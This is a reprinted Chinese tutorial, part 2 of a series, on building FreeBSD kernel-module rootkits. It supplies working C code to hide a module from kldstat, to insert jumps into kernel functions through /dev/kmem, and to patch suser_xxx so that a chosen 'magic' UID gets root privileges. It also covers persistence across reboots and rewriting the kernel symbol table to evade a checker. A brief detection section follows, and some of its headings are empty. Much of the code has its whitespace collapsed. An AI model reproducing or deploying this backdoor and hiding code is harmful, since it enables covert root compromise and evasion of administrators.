操作系统  办公  实用知识  设计  开发  WEB开发  移动开发  数据库  软件工程  网管  安全  管理  信息化  答疑  渠道 

玩转freebsd内核模块(2)

2007-6-18 网友评论 0 条 点击进入论坛

3.6.隐藏模块

  重要的,我们当然要隐藏模块自身了(kldstat|kldstat-v区别;))

  前面我们已经提到了维持了一系列连入内核的文件(.ko),是个队列linker_files(这个是个linker_file结构的队列)。所以我们要首先隐藏文件本身,队列linker_files定义在/sys/kern/kern_linker.c此外它还有一个计数单元定义在next_file_id,这个

  数应该是现在的文件数+1。所以我们要首先递减它,相同的还有一个内核用来统计的引用值,现在从队列中删除模块

      externlinker_file_list_tlinker_files;
      externintnext_file_id;
      externstructlocklock;
      [...]
      linker_file_tlf=0;
      /*lockexclusive,sincewechangethings*/
      lockmgr(&lock,LK_EXCLUSIVE,0,curproc);
      (&linker_files)->tqh_first->refs--;
      TAILQ_FOREACH(lf,&linker_files,link){  //宏定义遍历队列得到linker_file结构
        if(!strcmp(lf->filename,"cyellow.ko")){
         /*firstlet''sdecrementthegloballinkfilecounter*/
         next_file_id--;
         /*nowlet''sremovetheentry*/
         TAILQ_REMOVE(&linker_files,lf,link);//从队列中删除
         break;  
        }
      }
      lockmgr(&lock,LK_RELEASE,0,curproc);
  下一步我们就要把文件包含的模块也从模块队列中删除,象文件队列一样,其中也有引用计数,以及模块计数单元。

      externmodulelist_tmodules;
      externintnextid;
      [...]
      module_tmod=0;
      TAILQ_FOREACH(mod,&modules,link){
        if(!strcmp(mod->name,"cy")){
          /*firstlet''spatchtheinternalIDcounter*/
          nextid--;
   
          TAILQ_REMOVE(&modules,mod,link);
        }
      }
      [...]
  现在我们看kldstat的输出模块消失了,注意当它从模块队列中消除后,我们用modfind都找不到了,这只是在当你的模块中包含了系统调用时。然而我们可以通过手工计算偏移来引用它,如果没有别的模块加载,它通常都是210,CY允许你指定这个偏移值,它是我相信可能还有其它的方法来找到它。

  3.6其它的应用

  还有其他可以利用内核模块可以做得很多事,比如tty的劫持,隐藏接口的混杂模式,或者通过一个系统调用来改变进程uid为0下面的内核补丁于此类似。隐藏接口的混杂模式,修改/dev/kmem,只需要把借口的标志清0就可以了,这种情况下即使有人用 tcpdump接口的模式也不会是混杂。(:))

  当然通过/dev/kmem你可以得到很多有趣的的东西;)

  4.内核补丁

  模块并不是唯一的修改内核的途径,我们还可以利用/dev/kmem来复写已经存在的数据,代码。在技术节中我已经描述了大概的方法,现在我们的关键是写/dev/kmem.

  4.1介绍

  简单的测试我们可以只是在某个内核函数的开始处写如一个返回地址,我们用内核模块来做这样的测试,它不会影响正常的运行, 现在我们不让CY运行在隐蔽的模式,我们写一个ret到cy_ctl并用cyctl发送命令到CY,啥都不会发生,cy_ctl会简单的返回, 在tools/putreturn.c有例子代码。

  4.2插入跳转

  非常简单可以插入一些跳转到某些函数,这样可以重定向到我们的代码,并且不用修改系统调用表核任何其他的表格,这意味着你并不需要加载一个模块来完成这件事,通过写/dev/kmem,当然了你也可以加载模块来完成。

  在tools/putjump.c:

  /*这里是那个非常经典的lkm里来自SilvioCesare  e4gle@whitecell前辈翻译过修改指定函数地址的前7个字节,来跳转到我们的代码*/

/*thejump*/
unsignedcharcode[]="xb8x00x00x00x00" /*movl $0,%eax */
           "xffxe0"       /*jmp  *%eax  */
;
int
main(intargc,char**argv){
  charerrbuf[_POSIX2_LINE_MAX];
  longdiff;
  kvm_t*kd;
  structnlistnl[]={{NULL},{NULL},{NULL},};
  if(argc<3){
    fprintf(stderr,"Usage:putjump[fromfunction][tofunction] ");
    exit(-1);
  }
  nl[0].n_name=argv[1];
  nl[1].n_name=argv[2];
  kd=kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
  if(kd==NULL){
    fprintf(stderr,"ERROR:%s ",errbuf);
    exit(-1);
  }
  if(kvm_nlist(kd,nl)<0){
    fprintf(stderr,"ERROR:%s ",kvm_geterr(kd));
    exit(-1);
  }
  if(!nl[0].n_value){
    fprintf(stderr,"Symbol%snotfound. ",nl[0].n_name);
    exit(-1);
  }
  if(!nl[1].n_value){
    fprintf(stderr,"Symbol%snotfound. ",nl[1].n_name);
    exit(-1);
  }
  printf("%sis0x%xat0x%x ",nl[0].n_name,nl[0].n_type,nl[0].n_value);  
  printf("%sis0x%xat0x%x ",nl[1].n_name,nl[1].n_type,nl[1].n_value);  
  /*settheaddresstojumpto*/
  *(unsignedlong*)&code[1]=nl[1].n_value;
  if(kvm_write(kd,nl[0].n_value,code,sizeof(code))<0){
    fprintf(stderr,"ERROR:%s ",kvm_geterr(kd));
    exit(-1);
  }
  printf("Writtenthejump ");
  if(kvm_close(kd)<0){
    fprintf(stderr,"ERROR:%s ",kvm_geterr(kd));
    exit(-1);
  }
  exit(0);
}
  4.3替换内核代码

  为了避免修改已经存在的表,我们可以采用jump的方法,但是我们还是必须要提供自己的代码,有些时候这可能很方便的修改已经存在的代码,但是这不是通用的方法,因为它不能修补版本高的内核(???)并且取决于编译器的实现。

  为了鉴别用户是否是root或者超级用户,内核调用suser,然后suser返回并调用super_xxx,这将会检查用户是否是root,并授予某些特权,比如原始套节字,我提供了一个例子来演示修改已经存在的代码,首先我们要找到这个函数的地址,用nm/kernel|grep super_xxx或者用tools/findsym查找suser_xxx,在我的电脑上它是0xc019d538,你的也会差不多,现在我们来看一下

  这里的代码

#objdump-d/kernel--start-address=0xc019d538|more
/kernel:  fileformatelf32-i386
Disassemblyofsection.text:
c019d538:
c019d538:   55           push %ebp
c019d539:   89e5         mov  %esp,%ebp
c019d53b:   8b4508        mov  0x8(%ebp),%eax//参数cred
c019d53e:   8b550c        mov  0xc(%ebp),%edx//参数proc
c019d541:   85c0         test %eax,%eax //!cred
c019d543:   7520         jne  c019d565 
c019d545:   85d2         test %edx,%edx
c019d547:   7513         jne  c019d55c 
c019d549:   6890df36c0     push $0xc036df90
c019d54e:   e85ddb0000     call c01ab0b0  //printf
c019d553:   b801000000     mov  $0x1,%eax
c019d558:   eb32         jmp  c019d58c
c019d55a:   89f6         mov  %esi,%esi
c019d55c:   85c0         test %eax,%eax//!cred
c019d55e:   7505         jne  c019d565
c019d560:   8b4210        mov  0x10(%edx),%eax
c019d563:   8b00         mov  (%eax),%eax
c019d565:   83780400      cmpl $0x0,0x4(%eax)//cred->cr_uid!=0
c019d569:   75e8         jne  c019d553
c019d56b:   85d2         test %edx,%edx
c019d56d:   741b         je  c019d58a
c019d56f:   83ba6001000000  cmpl $0x0,0x160(%edx)
c019d576:   7407         je  c019d57f
c019d578:   8b4510        mov  0x10(%ebp),%eax
c019d57b:   a801         test $0x1,%al
c019d57d:   74d4         je  c019d553
c019d57f:   85d2         test %edx,%edx
c019d581:   7407         je  c019d58a
c019d583:   808a7201000002  orb  $0x2,0x172(%edx)
c019d58a:   31c0         xor  %eax,%eax
c019d58c:   c9           leave 
c019d58d:   c3           ret  
c019d58e:   89f6         mov  %esi,%esi
  这里是反汇编的代码,下面是源代码,在/sys/kern/kern_prot.c

int
suser_xxx(cred,proc,flag)
    structucred*cred;
    structproc*proc;
    intflag;
{
    if(!cred&&!proc){
        printf("suser_xxx():THINK! ");
        return(EPERM);
    }
    if(!cred)
        cred=proc->p_ucred;
    if(cred->cr_uid!=0)      ///------------------------------------|
        return(EPERM);
    if(proc&&proc->p_prison&&!(flag&PRISON_ROOT))
        return(EPERM);
    if(proc)
        proc->p_acflag|=ASU;
    return(0);
}
  除非你是一个assemblerperson,请看一下,你可以注意到%eax存贮着cred,%edx存储着proc结构,基本我们想改成这样

if((cred->cr_uid!=0)&&(cred->cr_uid!=MAGIC_UID))
        return(EPERM);
  现在我们要找一个地方去存放上面的代码,用printf的地址吧,printf的作用就是在suser_xxx在被错误调用时才有用,现在我们假设没有人仔细看着它的屏幕;),看看汇编代码中,所有错误的返回都是这样把EPERM=1放到%eax中c019d553:mov$0x1,%eax 看一下uid=!0的测试,跳转到c019d553.

  c019d565:   83780400      cmpl $0x0,0x4(%eax)

  c019d569:   75e8         jne  c019d553   //75表示jne向上跳转到偏移e8,e8是个负数-16

  我们看一下我们将要放置新代码的printf处(10个字节)

  c019d549:   6890df36c0     push $0xc036df90

  c019d54e:   e85ddb0000     call c01ab0b0

  现在我们需要修改跳转地址75表示jne向上跳转到偏移e8,e8是个负数-16

  现在我们就要修改printf地址的代码并添加我们自己的check了(cred->cr_uid!=MAGIC_UID)首先我们用jmp0x7(来跳过这个检查)当它被“正常调用时“不出错,就是在(!cred&&!proc)的测试中,然后添加我们的检验代码

jmp0x07            eb07        /*跳过检查*/
cmpl$magic,0x4(%eax)    837804magic   /*检察MAGIC_UID*/
je0x39            7439        /*跳到结束*/
nop             90         /*用来填充的字节*/
nop             90
  现在修改c019d569地址出的75e8为75e0(后退8个字节)实际跳转到了cmpl$magic,0x4(%eax)这里来执行

  我们把它整合到一块,我的特定的MAGIC_UID=100;

#include
#include
#include
#include
#include
#defineMAGIC_ADDR   0xc019d549
#defineMAKE_OR_ADDR  0xc019d569
unsignedcharmagic[]="xebx07"   /*jmp06*/
            "x83x78x04x00"   /*cmpl$magic,0x4(%eax)*/
            "x74x39"   /*jetoend*/
            "x90x90"   /*fillingnop*/
;
unsignedcharmakeor[]="x75xe0";  /*jnee0*/
int
main(intargc,char**argv){
    charerrbuf[_POSIX2_LINE_MAX];
    longdiff;
    kvm_t*kd;
    u_int32_tmagic_addr=MAGIC_ADDR;
    u_int32_tmakeor_addr=MAKE_OR_ADDR;
    kd=kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
    if(kd==NULL){
        fprintf(stderr,"ERROR:%s ",errbuf);
        exit(-1);
    }
    if(kvm_write(kd,MAGIC_ADDR,magic,sizeof(magic)-1)<0){
        fprintf(stderr,"ERROR:%s ",kvm_geterr(kd));
        exit(-1);
    }
    if(kvm_write(kd,MAKE_OR_ADDR,makeor,sizeof(makeor)-1)<0){
        fprintf(stderr,"ERROR:%s ",kvm_geterr(kd));
        exit(-1);
    }
    if(kvm_close(kd)<0){
        fprintf(stderr,"ERROR:%s ",kvm_geterr(kd));
        exit(-1);
    }
    exit(0);
}
  在direct/fix_suser_xxx.c可能你会见到轻微的改动,它要求uid<256

  现在你可以copy/sbin/ping到你的目录下测试一下:)

  5.越过重启

  显然当重启后我们的模块奖不能在使用,所以我们可以把我们的模块启动sh脚本放在/usr/local/etc/rc.d/(这个目录可以改变通过rc.conf:),其实放在loader.conf也不错)当然必须安全级别调整之前执行。

  如果你通过上面的/dev/kmem直接改变了内核的代码,你可以把这些改变直接写进/kernel(hu,hu),我没有查elf的相关文档,但是看上去重定向地址应该是/kernel内的偏移+0xc0100000,在你写你的内核时,请测试先。在direct/fix_suser_xxx_kernel.c有个同样的例子。

  6.实战

  在先前的例子中,所有的符号地址都来自/dev/kmem,但是它确切的出处在哪里呢?它在内核中经常变化。这些符号存储在elfhash表

  里面,每个连入内核的文件(object)都有它自己的符号表,在exp/symtable.c有个例子它在linker_files队列中查找第一个

  命名为kernel的条目,函数名被hash了,并被重新获得,符号找到之后它的value就可以改变了。

int
set_symbol(structproc*p,structset_symbol_args*uap)
{
  linker_file_tlf;
  elf_file_tef;
  unsignedlongsymnum;
  constElf_Sym*symp=NULL;
  Elf_Symnew_symp;
  constchar*strp;
  unsignedlonghash;
  CADdr_taddress;
  interror=0;
  mod_debug("Setsymbol%saddress0x%x ",uap->name,uap->address);
  lf=TAILQ_FIRST(&linker_files);
  ef=lf->priv;
  /*First,searchhashedglobalsymbols*/参见elf鉴别
  hash=elf_hash(uap->name);     //通过对名字hash可以加快寻找速度,
  symnum=ef->buckets[hash%ef->nbuckets];//
  while(symnum!=STN_UNDEF){
    if(symnum>=ef->nchains){
      printf("link_elf_lookup_symbol:corruptsymboltable ");
      returnENOENT;
    }
    symp=ef->symtab+symnum;   //symtab节是静态符号节
    if(symp->st_name==0){//符号名字索引
      printf("link_elf_lookup_symbol:corruptsymboltable ");
      returnENOENT;
    }
    strp=ef->strtab+symp->st_name;//符号名节
    if(!strcmp(uap->name,strp)){
      /*foundthesymbolwiththegivenname*/
      if(symp->st_shndx!=SHN_UNDEF||//关联的索引
        (symp->st_value!=0&&ELF_ST_TYPE(symp->st_info)==STT_FUNC)){//符号类型,关联一个函数
        /*givesomedebuginfo*/
        address=(caddr_t)ef->address+symp->st_value;
    //符号的地址=模块的地址+st_value st_value表示文件偏移
        mod_debug("found%sat0x%x! ",uap->name,(uintptr_t)address);
        bcopy(symp,&new_symp,sizeof(Elf_Sym));
        new_symp.st_value=uap->address;//改变成新的地址
        address=(caddr_t)ef->address+new_symp.st_value;
        mod_debug("newaddressis0x%x ",(uintptr_t)address);
        /*settheaddress*/
        bcopy(&new_symp,(ef->symtab+symnum),sizeof(Elf_Sym));
        break;
        break;
      }else
        return(ENOENT);
    }
    symnum=ef->chains[symnum];
  }  
  /*fornowthisonlylooksattheglobalsymboltable*/
  return(error);
}
  symtable是一个单独的模块,它将加载上面用过的所有系统调用,你可以通过set_sym工具来测试,它将击败tool/checkcall

  7.保护你自己:猫和老鼠的游戏。

  现在你可能要问,如何防止你的系统发生这种情况,也许你有兴趣与找到你自己:)

  下面我们来看几种检测的方法:

  7.1检查符号表

  在上面的例子中,我们看到了系统调用表被修改了,所以你可以检查系统调用表来发现修改,一种方法就是,在系统启动时加载一个包含有特殊目的的系统调用的模块,这个系统调用用来检查并与先前保存系统调用表对比。

  上面的方法很通用,但是启它的表被修改了呢?当然你可以添加更多别的表的检查,这种方法是不能检测到jump这种方法和直接修改内核的方法。

  你应该通过/dev/kmem监察系统调用表,在tools/checkcall有个例子,它带有两个参数,一个是syscall的名字,还有一个就是系统调用号,以此载系统调用表中来检查。

  但是这样还是有问题,比如利用在实战节中我们介绍的方法,我们只能得到错误的地址,下面的例子中将用来证明,假如我们加载了CY,现在假如我们想要检查open这个系统调用,SYS_open的系统调用号为5,定义于/sys/sys/syscall.h

  我们作如下检测

  #tools/checkcallopen5

  Checkingsyscall5:open

  sysentis0x4at0xc03b7308

  sysent[5]isat0xc03b7330andwillgotofunctionat0xc0cd5bf4

  ALERT!Itshouldgoto0xc01ce5f8instead

  当然我们通过setsym来修复这个问题,当然你需要首先加载symtable这个模块

  #exp/setsym0xc0cd5bf4open

  现在再用checkcall检查,不会出现ALERT了,它假设open就是在0xc0cd5bf4,但是故事并没有结束,我们可以通过实际检查kernel 来证实objdump-d/kernel--start-address=0xc0cd5bf4我们就会怀疑这个系统调用的地址过高,objdump在这个地址却没有发现任何东西,暗示有问题了。这表明你的内核或者objdump被文件重向了,然而这将会引起一点小的争论。

  7.2陷阱模块

  另外的你可以做的就是加在一个模块用来纪录kldload的调用,然后判断是拒绝还是加载,在trapmod/有个例子,你可以用非隐藏的方式加载这个模块,当然在安全级别提升前。

  7.3

  。。。。。。。

  7.4概论

  。。

  8.结论

  正如你所见到的,很多攻击的技术同样可以用来防御,通常隐藏一个用来管理的模块很重要,作为一个系统管理员隐藏一些用来检测入侵的shell和文件是必要的。如果你是个FreeBSD系统管理员,应该时刻意识到即使系统处在一个高的安全级别也有很多需要注意的地方。

  这篇文章可以让你学到更多的kernelworks,这是最重要的;)

  9.代码

  文中提到的所有代码都可以在CuriousYellow包中找到(地址:http://www.r4k.net/mod/cyellow-0.01.tar.gz;

  xfocus也有)

  10.References

  FreeBSD

  ExploitingKernelbufferoverflowsFreeBSDStylebyEsaEtelavuori

  AttackingFreeBSDwithKernelModules-TheSystemCallApproachbypragmatic/THC

  DynamicKernelLinker(KLD)FacilityProgrammingTutorialbyAndrewReiter

  Linux

  RuntimeKernelKmemPatchingbySilvioCesare

  Inspiriation:)

  JeffNoon,"TheVurt"

  11.Thanks

  Thanksgoto:

  JobdeHaas    forgettingmeinterestedinthiswholestuff

  OlafErb     forcheckingthearticleforreadability:)

  andespeciallyAlexLeHeux

已有 0 位对此文章感兴趣的网友发布了看法    
我来评两句 登录邮箱: 密码:
  匿名发表
今日推荐
技术文库(共有 46473 篇文章)
操作系统
办公软件
实用知识
网络管理
软件开发
WEB开发
软件工程
数据库
设计在线
信息安全
行业信息化
管理信息化
重点推荐
电子杂志订阅
点击电子杂志名称查看样刊
输入E-mail地址即可订阅
E-mail